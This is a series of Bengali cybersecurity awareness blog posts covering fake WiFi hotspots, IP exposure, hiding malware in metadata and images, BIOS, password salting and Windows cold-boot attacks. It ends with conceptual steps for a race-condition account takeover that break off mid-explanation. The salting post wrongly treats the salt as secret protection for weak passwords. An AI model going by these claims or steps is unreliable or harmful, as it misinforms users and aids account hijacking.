যখন আমরা মোবাইলে WiFi চালু করি, তখন অনেক ওয়াই-ফাই রাউটারের নাম দেখা যায়। এরপর একটি রাউটারের নামে ক্লিক করে সেই রাউটারে connect হতে হয়। তো, ধরা যাক আপনি একটি হোটেলের ফ্রি ওয়াই-ফাই ব্যাবহার করতে চাচ্ছেন। তাই, আপনি মোবাইলের WiFi চালু করে হোটেলের নামের রাউটারে ক্লিক করে connect হবেন। কিন্তু, এমনও তো হতে পারে যে, হোটেলের আশেপাশে একজন হ্যাকার রয়েছে। সেই হ্যাকার নিজের রাউটারের নাম দিয়েছে সেই হোটেলের রাউটারের নামের অনুরূপ। অর্থাৎ, হোটেলের রাউটারের নাম 'Hotel Taj' হলে সেই হ্যাকারের রাউটারের নামও 'Hotel Taj'। আপনি যখন 'Hotel Taj' নামের রাউটারে connect হবেন তখন সেটা যদি হ্যাকারের রাউটার হয়ে থাকে তাহলেই সেই হ্যাকার আপনার অনেক তথ্য সংগ্রহ করতে পারবে। তাই, ফ্রি ওয়াই-ফাই ব্যাবহারের ক্ষেত্রে সচেতন থাকা একান্ত জরুরি।

IP জেনে কি কি করা যায়

হ্যাকার আপনার আইপি এড্রেস জানলে কি কি করতে সক্ষম? আচ্ছা বলুন তো- আইপি এড্রেস কিন্তু পাসওয়ার্ডের মতো গোপন কিছু না; তারপরেও, অনেকেই তাদের আইপি এড্রেস গোপন রাখতে চায়; এমনকি সেজন্য টাকা দিয়ে VPN ব্যাবহার করতেও কুণ্ঠাবোধ করে না। কিন্তু, কেন?

উত্তর- আপনার আইপি এড্রেস জানলে অনেক কিছুই করা সম্ভব। যদিও, ৫/৭ বছর আগে অনেকেই বলতেন- আইপি এড্রেস জানার মাধ্যমে তেমন কিছুই করা সম্ভব না। কিন্তু, আজকের অত্যাধুনিক প্রযুক্তির বিশ্বে অনেক কিছুই করা সম্ভব। তাহলে চলুন, জেনে নেই- আপনার আইপি এড্রেস জানলে খারাপ হ্যাকাররা কি কি করতে পারবে।

আইপি এড্রেস হতে পারে-

* আপনার পার্সোনাল কম্পিউটারের,

* আপনার ওয়েবসাইটের।

আমাদের মোবাইল, কম্পিউটার ইত্যাদি ডিভাইসের আইপি এড্রেস কিছু সময় পর পর পরিবর্তন হয়। কিন্তু, ওয়েবসাইটের আইপি এড্রেস পরিবর্তন হয় না। তাই, ওয়েবসাইটের আইপি এড্রেস জেনে নিয়ে সেই ওয়েবসাইটে কেউ যেনো **DDoS** আক্রমণ করতে না পারে, সেজন্য

Cloudflare ব্যাবহার করা হয়। এর মাধ্যমে ওয়েবসাইটের মূল আইপি এড্রেস (origin IP) গোপন থাকে। কিন্তু, ভেবে দেখুন- ওয়েবসাইটের মুল আইপি এড্রেস জানতে পারলে ওয়েবসাইটে **DDoS** আক্রমণ করে কতোটা ক্ষতি করা সম্ভব!

আপনার পার্সোনাল কম্পিউটারের আইপি এড্রেস জানলেও কিন্তু অনেক কিছুই করা সম্ভব। প্রথমতো, আপনার আইপি এড্রেস scan করার মাধ্যমে আপনার ডিভাইসের vulnerability জেনে নেওয়া সম্ভব। এছাড়া আপনার বর্তমান location জানতে এবং আপনাকে track করতেও আইপি এড্রেস ব্যাবহার করা যাবে। এমনকি আপনার ইন্টারনেট স্বাধীনতা হরণ করতেও আপনার আইপি এড্রেস জেনে নিয়ে, সেই আইপি এড্রেসকে বিভিন্ন সার্ভিস থেকে block করে দেওয়া সম্ভব। আবার, একটি রাউটার ব্যাবহার করে আপনার ইন্টারনেটের packet capture করাও সম্ভব। আর, বর্তমানে সাইবার অপরাধীরা কম্পিউটার হ্যাক করার পর সেসব কম্পিউটার দিয়ে **botnet** তৈরি করছে এবং command দিয়ে control করছে। আইপি এড্রেস জানার মাধ্যমেই এটা সম্ভব হচ্ছে।

আপনি হয়তো জেনে অবাক হবেন- প্রতিনিয়ত সারা বিশ্বের আইপি এড্রেস গুলো scan করা হচ্ছে। তাই, সাইবার অপরাধীরা যখন কোন নতুন vulnerability -র সন্ধান পায়, তখন আইপি এড্রেস scan করার মাধ্যমেই সেই vulnerability যুক্ত ডিভাইসগুলো খুঁজে বের করে এবং আক্রমণ করে। আর, FTP কিংবা, SSH এর মতো সার্ভিসের মাধ্যমে আপনার কম্পিউটারে connect হতেও আইপি এড্রেসের প্রয়োজন হয়। আর, একটু রোমাঞ্চকর কল্পনার জগতে গিয়ে চিন্তা করে দেখুন- পৃথিবীর

শক্তিশালী হ্যাকার গ্রুপ এককজনকে আক্রমণ করছে; এমন সময় যাকে আক্রমণ করা হচ্ছে, তার আইপি এড্রেস পরিবর্তন হয়ে গেলো এবং সেই আইপি এড্রেসটি আপনার আইপি এড্রেস হিসেবে set হয়ে গেলো। তখন কিন্তু আক্রমণটা আপনার ডিভাইসেই আসবে। যদিও, এটা অনেকটা কাকতালীয়।

কেউ আপনার আইপি এড্রেস জানলেই যে আপনার ডিভাইস হ্যাক হয়ে যাবে, এমনটা বলছি না। তবে, আইপি এড্রেস জানার মাধ্যমে আপনার privacy অল্প হলেও হ্রাস পাবে। আর, vulnerability -র কারণে হ্যাক হয়েও যেতে পারেন। যারা আইপি এড্রেস গোপন করাকে একদমই তুচ্ছ মনে করেন, তাদের জন্যই আমার এই লেখা।

হ্যাকাররা যেসব গেইম খেলে

আজকে গ্রাম থেকে শহর সব জায়গাতেই Free Fire খেলতে দেখা যায়। হ্যাকাররাও game খেলে কিন্তু, হ্যাকারদের game একদম আলাদা। হ্যাকারদের game হচ্ছে হ্যাক করার game। এই যেমন- hackthebox ওয়েবসাইটে হ্যাকাররা game খেলে। সেখানে ইন্টারনেটে সংযুক্ত বিভিন্ন কম্পিউটার দেওয়া থাকবে। সেগুলো হ্যাক করতে পারলেই আপনি win হবেন।

মজার বিষয় হচ্ছে- এই ওয়েবসাইটে sign up করার জন্যেও এই ওয়েবসাইট থেকে invitation code হ্যাক করে সেই code দিয়ে sign up করতে হয়।

বিটকয়েন
সাইবার ঘূর্ণিঝড়

আমার তো অনেক সম্পদ! কিন্তু, এতো সম্পদের হিসাব সরকারকে দিতে যাবো কেনো? সরকারের কাছে আমার সম্পদের তালিকা লুকাতেই হবে। এর জন্য এমন একটি একাউন্ট প্রয়োজন- যেই একাউন্টে আমার কোটি কোটি টাকা থাকবে কিন্তু, কেউ জানতেই পারবে না যে, এটা আমার একাউন্ট। সবকিছু থাকবে গোপনে, সরকারের ধরা-ছোঁয়ার বাহিরে।

উপরে উল্লিখিত চিন্তা-চেতনা থেকেই বিটকয়েন এর সৃষ্টি না হলেও, এই ধরনের সুযোগ থাকার ফলেই মাথা চাড়া দিয়ে উঠছে বিটকয়েন।

বিটকয়েন

আমরা ATM কার্ডে টাকা সংরক্ষণ করি, সেই টাকা ধরা যায় না। কেবলমাত্র, ইলেকট্রনিক ডিভাইসের মাধ্যমেই সেই টাকার হিসাব থাকে। যদিও, সেই ATM এর মুদ্রা (টাকা) বাংলাদেশ সরকার দ্বারা অনুমোদিত।

কিন্তু, বিটকয়েন হচ্ছে এমন এক ইলেকট্রনিক মুদ্রা ব্যবস্থা-

* এটি কোন রাষ্ট্রের দ্বারা পরিচালিত মুদ্রা ব্যবস্থা না। ফেসবুকে একাউন্ট খোলার মতোই একটি একাউন্ট খুললে পেয়ে যাবেন আপনার বিটকয়েন একাউন্ট। শুরুতে আপনার একাউন্টের ব্যাল্যান্স থাকবে শূন্য।

* প্রশাসনিক ভাবে সরকার বা, ব্যাংক আপনার সম্পদের হিসাব নিতে পারে। কিন্তু, বিটকয়েনে আপনার কোটি টাকার সমপরিমাণ বিটকয়েন থাকলেও কাউকেই হিসাব দিতে হবে না। এমনকি, কেউ জানবেই না- এটা আপনার একাউন্ট।

বিটকয়েন দিয়ে বেকারত্ব দূর করা

বিটকয়েনের একাউন্ট থেকে যখন বিটকয়েন আদান-প্রদান করা হয়, তখন সেই আদান-প্রদানকে confirm করার জন্য কিছু **computational problem** সমাধান করতে হয়। কিন্তু, বিটকয়েনের তো কোন সরকার বা প্রতিষ্ঠান নেই। তাই, কিছু মানুষ নিজে থেকেই তাদের কম্পিউটার দিয়ে এই কাজ করে থাকে। বিনিময়ে তারা নির্দিষ্ট পরিমাণ বিটকয়েন পেয়ে থাকেন। এই কাজকে বিটকয়েন **mining** বলা হয়। এভাবে স্বেচ্ছায় বিটকয়েন **mining** করে অনেকেই বিটকয়েন উপার্জন করছেন। যদিও অনেক সাইবার অপরাধী এই বিটকয়েন **mining** করার জন্য অন্যের কম্পিউটার হ্যাক করে। এরপর সেই হ্যাক করা কম্পিউটার দিয়ে **mining** করার কাজ করে। আবার, হ্যাকাররা হ্যাক করার পর মুক্তিপণ হিসেবে টাকা চাইতেও বিটকয়েন ব্যাবহার করে, যাতে করে তাদের পরিচয় গোপন থাকে।

বিটকয়েনের ভবিষ্যৎ

বিটকয়েন এর মতো অনেক crypto currency চলে এসেছে। যদিও, **বৈদেশিক মুদ্রা আদান-প্রদান** বিষয়ক আইনের দৃষ্টিতে বিটকয়েন ব্যাবহার করা বাংলাদেশে অবৈধ। কিন্তু, বিটকয়েন ব্যাবহার করলেও যেহেতু আপনার পরিচয় পাওয়া যাবে না তাই, দেশের আইন কি দেশের নাগরিকদেরকে আটকাতে পারছে? এইতো ১ বছর আগে **Jamuna TV** তাদের এক প্রতিবেদনে দেখিয়েছিলো- সেই সময় বাংলাদেশের প্রায় ২/৩ লাখ মানুষ বিটকয়েনের সাথে জড়িত। এমনকি অনেকদিন আগেই আপনাদেরকে PayPal কার্ডে বিটকয়েনের মতো crypto currency ব্যবস্থা চালু হওয়ার কথা জানিয়েছিলাম।

সব মিলিয়ে, বিশ্ব আজ সরকারের ইচ্ছায় বা, অনিচ্ছায় বিটকয়েনের দিকে ঝুঁকে যাচ্ছে। একজন মহিলা **OneCoin** নিয়ে এসেছিলো, মানুষকে ধোঁকা দিয়ে সেই মহিলা পালিয়ে গেলো। বিটকয়েন একাউন্টের মালিকের অসতর্কতায় তাকে শনাক্ত করার সুযোগ থাকায় বিটকয়েনের সাথে প্রতিযোগিতা করতে **Monero** আসলো। তবুও, বিটকয়েন চলছে তার আপন গতিতে। আজকে ১ বিটকয়েনের মূল্য প্রায় ৩৩ লাখ টাকা। বিটকয়েন মূলত সাইবার জগতের ঘুর্ণিঝড়। এই ঝড় থামাতে চাইলেও থামানো যাবে না।

হ্যাকাররা যেখানে data লুকায়

একজন হ্যাকার যখন কাউকে ম্যালওয়্যার পাঠায়, তখন ম্যালওয়্যারের code আলাদা আলাদা স্থানে লিখে পাঠায়। কারণ, সম্পুর্ণ ম্যালওয়্যার একসাথে লিখে পাঠালে এন্টি ভাইরাসের কাছে হাতে-নাতে ধরা খাবে। ম্যালওয়্যারের code কোথায়, কিভাবে লিখে রাখা হয়- তা নিয়েই আজকে আলোচনা করবো।

আপনি নিশ্চয়ই metadata সম্বন্ধে জানেন? Metadata হচ্ছে- একটি file এর সাথে সেই file সম্পর্কিত থাকা তথ্য। যেমন-

* file টির size,

* লেখার date,

* লেখক বা, user ইত্যাদি।

একজন হ্যাকার খুব সহজেই এসব metadata -র স্থানে ম্যালওয়্যারের code লিখে রাখতে পারে। ফলে, ম্যালওয়্যারটি যখন কম্পিউটারে পাঠানো হবে, তখন ম্যালওয়্যারটি নিজে থেকেই এসব metadata -র স্থান থেকে ম্যালওয়্যারের code গুলো সংগ্রহ করবে এবং সেগুলো run করবে। এমনকি Google এর মতো প্লাটফর্মের এক সাইটে ছবির metadata -র সাথে XSS code যুক্ত করে আক্রমণ করার ঘটনাও ঘটেছে।

এছাড়া একটি ছবির সাথে text যুক্ত করে দেওয়ার পদ্ধতি সম্বন্ধেও হয়তো আপনি জানেন। এই পদ্ধতিকে steganography বলা হয়। তাই, সাইবার অপরাধীরা অনেক সময় ছবির সাথে ম্যালওয়্যারের code যুক্ত করে দিয়ে, ছবিগুলোর zip file বানিয়ে অন্যের কম্পিউটারে পাঠায়। এরপর সেই কম্পিউটারে থাকা প্রাথমিক ম্যালওয়্যারটি এসব ছবি থেকে ম্যালওয়্যারের code গুলো বের করার পর সেগুলোকে run করে।

এছাড়াও আরও অসংখ্য পদ্ধতিতে data লুকানো যেতে পারে। তাই, একটি file ডাউনলোড করার সময় বিষয়টি খেয়াল রাখবেন।

কম্পিউটার হ্যাং হওয়ার কারন

কম্পিউটারে কাজ করার সময় হঠাত হ্যাং হয়ে যাওয়ার অভিজ্ঞতা হয়তো আপনাদের সকলেরই হয়েছে। যদিও, hang হওয়া, freez হওয়া এবং crash করার মধ্যে পার্থক্য আছে। কিন্তু, আমরা এই সবগুলো অবস্থাকেই হ্যাং বলে উল্লেখ করছি।

এখন চলুন- হ্যাং হওয়ার কিছু কারন জেনে নেওয়া যাক।

হ্যাং হওয়ার কারন

কম্পিউটারের হার্ডওয়্যারগুলো যখন কোন কাজ করতে চায়, তখন CPU বা, প্রসেসরকে একটি সিগন্যাল প্রেরণ করে। এই সিগন্যালকে interrupt signal বলা হয় এবং এগুলো IRQ লাইনের মাধ্যমে প্রসেসরের কাছে যায়।

প্রত্যেক ডিভাইসের জন্য আলাদা আলাদা IRQ থাকে যেমন-

* IRQ 6,

* IRQ 7 ইত্যাদি।

কিন্তু, এমনও হতে পারে যে, ২ টি ডিভাইস একই IRQ number ব্যাবহার করছে। এর ২ টি কারন হতে পারে-

* কম্পিউটারে একসাথে অসংখ্য ডিভাইস যুক্ত করা।

* ডিভাইসগুলো সঠিকভাবে install না করা।

ফলে, ২ টি ডিভাইস যেহেতু একই IRQ number ব্যাবহার করছে; তাই, একই সাথে ২ টি ডিভাইস ব্যাবহার করলে কম্পিউটার হ্যাং (crash) করবে।

তবে, উপরে যেরকম interrupt এর কথা জানলেন, কম্পিউটারের BIOS বা, firmware গুলো SMM -এ কাজ করার জন্যেও সেরকম interrupt পাঠায়, যাকে SMI বলা হয়। এই interrupt গুলোর ১ টি যখন প্রসেসরকে পাঠানো হয়, তখন দ্বিতীয় আরেকটি interrupt পাঠানো হলেও প্রথমটি exit করার আগে দ্বিতীয়টি অপেক্ষা করতে থাকে। ফলে, আমার জানা মতে- এক্ষেত্রে একাধিক interrupt হলেও হ্যাং হয় না।

কম্পিউটার হ্যাং হওয়ার আরও কিছু কারণ-

* কম্পিউটারের হার্ডওয়্যারের সামর্থ্যের তুলনায় অনেক বেশি program একসাথে run করলে।

* BIOS settings পরিবর্তন করলেও অনেক সময় হ্যাং হতে পারে।

* কম্পিউটারের system file কোন কারণে missing থাকলে।

এছাড়াও আরও অনেক কারন থাকতে পারে। সেক্ষেত্রে মাথা ঠাণ্ডা রেখে সমাধান করার চেষ্টা করবেন। সবাইকে ধন্যবাদ।

BIOS - কম্পিউটারের বস

ফেসবুকের post চিনেন কিন্তু, কম্পিউটারের POST চিনেন কি? BIOS এর আলোচনায় আজকে এরকম অনেক কিছুই জানবেন।

BIOS: আপনার কম্পিউটার চালু করার পর কম্পিউটারের control চলে যায় BIOS এর কাছে। BIOS এর মধ্যে কম্পিউটারের অতি গুরুত্বপূর্ণ settings এবং অতি গুরুত্বপূর্ণ প্রোগ্রাম থাকে, যেগুলো অতি বেগুনী রশ্মি দিয়ে মুছে ফেলা সম্ভব। এই জন্যেই BIOS যেই ROM এর মধ্যে থাকে- সেটাকে EPROM বলা হয়।

এখানে- E হচ্ছে erasable এর সংক্ষিপ্ত রূপ। যার অর্থ- মুছে ফেলার যোগ্য। P হচ্ছে programmable এর সংক্ষিপ্ত রূপ। যার অর্থ- আপনি বিশেষ পদ্ধতিতে BIOS এর প্রোগ্রাম পরিবর্তন করতে পারবেন। তবে, এর ফলে BIOS এর update ডাউনলোড করা যেমন সম্ভব হয়; তেমনিভাবে হ্যাকাররাও BIOS এর মধ্যে ক্ষতিকর code লিখে দিতে সক্ষম হয়।

POST পরীক্ষা

আপনার কম্পিউটার চালু করলে BIOS শুরুতেই একটি **POST**

পরীক্ষা চালাবে। POST হচ্ছে **power-on self-test** এর সংক্ষিপ্ত রূপ। এই POST পরীক্ষার মাধ্যমে যাচাই করা হয়- কম্পিউটার চালু (boot) -করার জন্য জরুরি হার্ডওয়্যার ও সফটওয়্যার ঠিকঠাক আছে কিনা? যদি সব ঠিক থাকে, তাহলে boot loader দিয়ে অপারেটিং সিস্টেম যেমনঃ Windows, Linux ইত্যাদি load করা হয়। তখন আপনি দেখতে পারবেন- আপনার কম্পিউটার চালু হচ্ছে।

BIOS আপনার কম্পিউটারের প্রোগ্রাম ও হার্ডওয়্যারের মধ্যকার ইনপুট/আউটপুট ব্যবস্থাপনার কাজ করে।

জরুরি প্রশ্ন

অনেকে প্রশ্ন করবেন- BIOS যেভাবে সফটওয়্যার এবং হার্ডওয়্যারের মধ্যকার সেতু বা, ব্রিজ হিসেবে কাজ করছে, অপারেটিং সিস্টেমের kernel -ও তো একইভাবে সফটওয়্যার এবং হার্ডওয়্যারের মধ্যকার সেতু হিসেবে কাজ করে! তাহলে এদের কাজের পার্থক্য কি?

ভালো প্রশ্ন। এটা বোঝার জন্য একটি সূত্র মনে রাখবেন-

BIOS আগে, kernel পরে।

মূলত, BIOS -ই kernel কে load করে। আর, পার্থক্য হিসেবে বলতে

গেলে- BIOS আপনার কম্পিউটারের সকল হার্ডওয়্যার সম্বন্ধে খুঁটিনাটি জানে আর, kernel সেই তথ্য নিয়েই ব্যবস্থাপনার কাজ করে। আপনার কম্পিউটারে যদি ২ জন user থাকে এবং ২ জন-ই যদি একসাথে একটি text ফাইল লেখালেখি করে save করতে যান, তখন BIOS হয়তো হার্ড-ডিস্কের যেখানে save করতে হবে- সেটার খুঁটিনাটি জানে কিন্তু, ২ জন user কে একসাথে ব্যবস্থাপনা করতে পারবে না। সেক্ষেত্রে মূল ব্যবস্থাপনার কাজ করবে kernel। আবার, অনেক সময় BIOS নিজে থেকেই কিছু কাজের দায়িত্ব অন্যকে দিয়ে থাকে। যেমনঃ **POST** পরীক্ষার সময় BIOS এর video সংক্রান্ত কাজ অন্য ডিভাইসকে দেওয়া হয়।

BIOS হচ্ছে কম্পিউটারের বস। কম্পিউটারের চলন্ত অবস্থাতেই হার্ডওয়্যার সংযুক্ত করলে সেটার তথ্য-ও BIOS এর জানা থাকে। সেইসাথে, কম্পিউটারের অপারেটিং সিস্টেম কিংবা, kernel নষ্ট হয়ে গেলেও BIOS এর মাধ্যমেই আপনার কম্পিউটারের হার্ডওয়্যারকে access করতে পারবেন। সেজন্য কম্পিউটার চালু করার পর DELETE বাটন প্রেস করতে হবে (কিংবা, কম্পিউটারের কোম্পানি ভেদে আলাদা key প্রেস করতে হতে পারে)। যদিও, অনেক সময় BIOS এর মধ্যেও error আসতে পারে। তবে, সেগুলো সাধারণত BIOS আপডেট করার সময় ভুল হওয়ার কারনে কিংবা, অন্য কারণে হয়ে থাকে। যেমনঃ কেউ যদি ২/১ টি ভিডিও দেখেই BIOS হ্যাক করতে গিয়ে কোথাও ভুল করে ফেলে, তাহলেই BIOS আর কাজ করবে না।

যাই হোক, অনলাইনে BIOS সম্বন্ধে পুরনো আর্টিকেল পড়লে দেখা যায়-

BIOS এর সিকিউরিটি তুলনামূলক কম। যদিও, বর্তমানে কম্পিউটারগুলোতে BIOS এর পরিবর্তে UEFI ব্যাবহার করা হচ্ছে। কিন্তু, তারপরও BIOS কম্পিউটার ব্যাবহারকারীর সংখ্যা অনেক। ঠিক যেমন এন্ড্রয়েডের ভার্সন 10 আসার পরেও আগের ভার্সনগুলো অনেক মানুষই ব্যাবহার করছে।

উপরের লেখাগুলো বুঝে থাকলে BIOS সম্বন্ধে উঁচু লেভেলের আর্টিকেল পড়েও বুঝতে পারবেন, আশা করি। সবাই সাইবার জগতে উন্নত হয়ে গড়ে উঠুন, নিরাপদ থাকুন।

পাসওয়ার্ড নিরাপত্তায় লবন

123456 কি সত্যিই দুর্বল পাসওয়ার্ড?

অনেক আগে থেকেই পাসওয়ার্ড salting বা, পাসওয়ার্ডে লবণ প্রয়োগ পদ্ধতি চলে আসছে।

পাসওয়ার্ড salting হচ্ছে- আপনার দেওয়া পাসওয়ার্ডের শুরুতে ওয়েবসাইট নিজে থেকেই আরও কিছু লিখে দিবে। এর পদ্ধতি হচ্ছে-

* মনে করুন- আপনি একাউন্ট create করার সময় পাসওয়ার্ড হিসেবে লিখলেন- **P@ssw*rd**।

* সেই পাসওয়ার্ডের শুরুতে ওয়েবসাইটের পক্ষ থেকে **xyz** লিখে দেওয়া হলো। ফলে, এখন আপনার পাসওয়ার্ডের বর্তমান রূপ হবে- **xyzP@ssw*rd**।

* এখন এই **xyzP@ssw*rd** এর hash বের করা হবে। অর্থাৎ, কিছু প্রোগ্রামিং ফাংশনের মাধ্যমে আপনার পাসওয়ার্ডকে হ-য-ব-র-ল রূপে নিয়ে যাওয়া হবে। যেমন- আপনার xyzP@ssw*rd পাসওয়ার্ডটিকে hash করলে হবে d6cd17e9e30ea5ab2b9c49edb48b04ef (উদাহরণস্বরূপ)।

* পাসওয়ার্ডের এই hash -কে ওয়েবসাইটের ডাটাবেজে সংরক্ষণ করা

হবে। পরবর্তীতে আপনি যখন login করার জন্য পাসওয়ার্ড হিসেবে P@ssw*rd লিখবেন, তখন আপনার লেখা এই পাসওয়ার্ডের শুরুতে xyz যুক্ত করে, সেই পাসওয়ার্ডের hash বের করার পর, সেই hash যদি ওয়েবসাইটে সংরক্ষিত hash এর সাথে মিলে যায়, তাহলেই login হবে।

পাসওয়ার্ড salting কেনো ব্যাবহার করা হয়?

উত্তরঃ আপনি যখন login করার জন্য পাসওয়ার্ড লিখেন, তখন ওয়েবসাইটের ডাটাবেজে থাকা পাসওয়ার্ডের সাথে মিলিয়ে দেখা হয়- সেটা সঠিক কিনা। SQL ল্যাঙ্গুয়েজ ব্যাবহার করে ডাটাবেজের পাসওয়ার্ড জানতে হয়। অনেক সময় এই SQL ল্যাঙ্গুয়েজ ব্যাবহার করে হ্যাকাররা ওয়েবসাইটের ডাটাবেজে সংরক্ষিত সকল পাসওয়ার্ড হাঁতিয়ে নিতে (exfiltrate করতে) সক্ষম হয়। কিন্তু, ওয়েবসাইট যদি পাসওয়ার্ড salting ব্যাবহার করে, তাহলে SQL এর মাধ্যমে ডাটাবেজ থেকে পাসওয়ার্ডের hash হ্যাক করলেও হ্যাকার আপনার পাসওয়ার্ড জানতে পারবে না। কারন পাসওয়ার্ডের কোন্ অংশ আপনার দেওয়া পাসওয়ার্ড আর, কোন্ অংশ ওয়েবসাইটের পক্ষ থেকে যুক্ত করে দেওয়া হয়েছে- সেটা হ্যাকার জানে না। ফলে, কারও পাসওয়ার্ড যদি 123456 হয় এবং হ্যাকার যদি নিজে থেকে 123456 এর hash বের করে সেই পাসওয়ার্ডের সাথে মিলাতে চায়, তাহলেও মিলবে না। কারন, 123456 পাসওয়ার্ডের শুরুতে ওয়েবসাইট থেকে আরও কিছু লিখে দেওয়া হয়েছে।

কিন্তু, মনে করুন- একটি ওয়েবসাইটে হাজার হাজার মানুষ login করা আছেন। সেই ওয়েবসাইটে যদি একটি salt একাধিক পাসওয়ার্ডের শুরুতে ব্যাবহার করা হয়, তাহলে হ্যাকার প্রথমে দেখবে- ওয়েবসাইট হ্যাকারের পাসওয়ার্ডের শুরুতে কি যুক্ত করে দিয়েছে। এরপর সেই salt ব্যাবহার করে যেসব পাসওয়ার্ড ডাটাবেজে সংরক্ষণ করা হয়েছে, সেসকল পাসওয়ার্ড হ্যাকার সহজেই জেনে যাবে।

আর, আপনি যদি phishing ওয়েবসাইটে আপনার পাসওয়ার্ড লিখে ফেলেন, তাহলেও পাসওয়ার্ড salting আপনার কোন উপকারে আসবে না।

Windows| হ্যাক| প্রশ্ন-উত্তর

মৃতদেহ গবেষণা করেই forensic বিশেষজ্ঞরা বলে দেয়- লোকটি কতক্ষণ আগে মারা গিয়েছে। এই গবেষণার জন্য যেমনটা তত্ত্বগত জ্ঞানের প্রয়োজন হয়, তেমনিই প্রয়োজন হয়- অভিজ্ঞতা। কম্পিউটার হ্যাক হলেও কম্পিউটারের forensic গবেষণায় তত্ত্বগত জ্ঞানের পাশাপাশি অভিজ্ঞতার প্রয়োজন হয়। সেই অভিজ্ঞতা থেকেই আজকে Windows কম্পিউটার বিষয়ক কিছু প্রশ্নের উত্তর লেখার চেষ্টা করছি।

পাসওয়ার্ড কতোটুকু নিরাপদ?

Windows কম্পিউটারের user password গুলো সংরক্ষিত থাকে **SAM** নামক database file এর মধ্যে। এই file এর তথ্যগুলো encrypted অবস্থায় থাকলেও, একজন অপরাধী ব্যক্তি আপনার কম্পিউটার হাতের কাছে পেলে USB পেনড্রাইভ দিয়ে live boot করিয়ে এই SAM ফাইল এর তথ্য পরিবর্তন করে দিতে পারবে। এটা থেকে বাঁচতে অনেকে আপনাকে **syskey utility** ব্যাবহার করার পরামর্শ দিতে পারে। কারন, syskey utility ব্যাবহার করলে SAM ফাইল এর তথ্য decrypt করার জন্য আপনার set করা পাসওয়ার্ড দিতে হবে।

কিন্তু, আমি একটি সতর্কবার্তা দিতে চাই।

সেটা হচ্ছে- বিদ্যুৎ চলে গেলে কম্পিউটারের RAM এর মধ্যে থাকা সকল data চলে যায়, এটা সত্য। কিন্তু, আপনি আলো থেকে অন্ধকারে চলে গেলে চোখে যেমন একটি ঝলকানি কাজ করে, সেভাবেই বিদ্যুৎ চলে গেলেও data -র অবশিষ্ট কিছু অংশ কয়েক মিনিট থেকেই যায়। এটাকে **data remanence** বলা হয়। তাই, side channel আক্রমণের মাধ্যমে একটি অপারেটিং সিস্টেম দিয়ে কম্পিউটার চালু করিয়ে, কম্পিউটারের RAM এর মধ্যে থেকে যাওয়া Windows কম্পিউটারের গুরুত্বপূর্ণ data সংগ্রহ করে হ্যাক করা অনেকটাই সম্ভব।

Windows সফটওয়্যারের নিরাপত্তা কম?

অনেকে মনে করেন- Windows এর সফটওয়্যার গুলো Linux এর সফটওয়্যারের চেয়ে কম নিরাপদ। বিশেষ কিছু সফটওয়্যারের ক্ষেত্রে এমনটা হলেও সার্বিকভাবে আমি (Mamun) এমনটা মনে করি না।

যেমন ধরুন- একটি সফটওয়্যারের ২ টি ভার্সন রয়েছে। একটি Windows এর জন্য আরেকটি Linux এর জন্য। সেক্ষেত্রে Windows এর কোন নতুন vulnerability (zero day) পাওয়া গেলে Windows ভার্সনের সফটওয়্যার হ্যাক হবে। একই বিষয় Linux ভার্সনের ক্ষেত্রেও প্রযোজ্য হবে। আবার, একই সফটওয়্যার যদি Linux

এবং Windows উভয় কম্পিউটারেই ব্যাবহার করা যায় (cross platform) তাহলে, সেই সফটওয়্যার সার্বিকভাবে Linux এর জন্য যতোটুকু নিরাপদ হবে, Windows এর জন্যও অনুরূপ হবে।

হ্যাক হলে বুঝবো কিভাবে?

সত্যি বলতে, পুরাতন ও পরিচিত কিছু পদ্ধতিতে হ্যাক হলে যতোটা সহজে বুঝতে পারবেন, নতুন পদ্ধতিতে হ্যাক হলে আপনি কেনো? এন্টি ভাইরাসও বুঝতে পারবে না! এমনকি কম্পিউটারে ম্যালওয়্যার বা, ভাইরাস কিভাবে কি করছে- সেটাও reverse engineering/ debug করা সম্ভব হবে না; বরং, কম্পিউটারের মেমোরিতে forensic গবেষণা করে বুঝতে হবে।

মূলত, হ্যাকিং থেকে শতভাগ নিরাপদ রাখার কোন সিস্টেম নেই। যদি, কম্পিউটার সিস্টেম ব্যাবহার করা ছেড়ে দেন, তাহলেই কেবলমাত্র হ্যাকিং থেকে নিরাপদ থাকবেন।

২ ক্লিকে ১ হ্যাক

একটি ওয়েবসাইটে Race-Condition নামক vulnerability (দুর্বলতা) থাকলে, ২ ক্লিক একসাথে করেই হ্যাক করা সম্ভব! তাই, যাদের ওয়েবসাইট আছে, তারা আজকের লেখাটি পড়ে নিজেদের ওয়েবসাইট যাচাই করে নিবেন।

মূল পদ্ধতি আলোচনা করা যাক। মনে করুন, আমি একটি ওয়েবসাইটে একাউন্ট create করবো। সেজন্যে শুরুতেই ইমেইল এড্রেস এবং পাসওয়ার্ড দিতে হবে। এরপর, সেই ইমেইল এড্রেস verify করার জন্য আমার ইমেইলে একটি verification লিংক আসবে। সেই লিংকে ক্লিক করলেই ইমেইল এড্রেস verify হয়ে যাবে।

কিন্তু, সেই verification লিংক আসার পর আমি তাতে ক্লিক করলাম না। বরং, ওয়েবসাইটে আমার একাউন্টের ইমেইল পরিবর্তন করার জন্য Change My Email অপশনে ক্লিক করলাম। এরপর অন্য একজনের ইমেইল এড্রেস লিখে send করলাম। ফলে, ওয়েবসাইট থেকে সেই নতুন ইমেইল এড্রেস verify করার জন্য পুনরায় লিংক পাঠানো হবে। কিন্তু, সেই ইমেইল তো আমার নয়। তাই, verify করার লিংকও আমি পাবো না। কিন্তু, আমার কাছে একটু আগেই আমার নিজের ইমেইল verify করার লিংক এসেছিলো এবং সেই লিংকে আমি এখনও ক্লিক করি নি। আরও বড় কথা হচ্ছে- ওয়েবসাইটে Race-Condition নামক vulnerability

আছে।

তাই, আমার কাছে ক্লিক করার জন্য বর্তমানে ২ টি লিংক রয়েছে-

* আমার নিজের ইমেইল এড্রেসে আসা verification লিংক।

* আমার ইমেইল এড্রেস এর পরিবর্তে অন্যের ইমেইল এড্রেস set করার জন্য Validate New Email নামক অপশনের লিংক (যেখানে ক্লিক করলে verification লিংক আসবে)।

এখন আমি একসাথে ২ টি লিংকেই ক্লিক করবো। ফলে, ওয়েবসাইটের প্রোগ্রাম মনে করবে- আমি নতুন ইমেইল এড্রেস verify করার লিংকে ক্লিক করেছি। কারণ, একাউন্ট তো একটাই।

কিন্তু, কিভাবে?

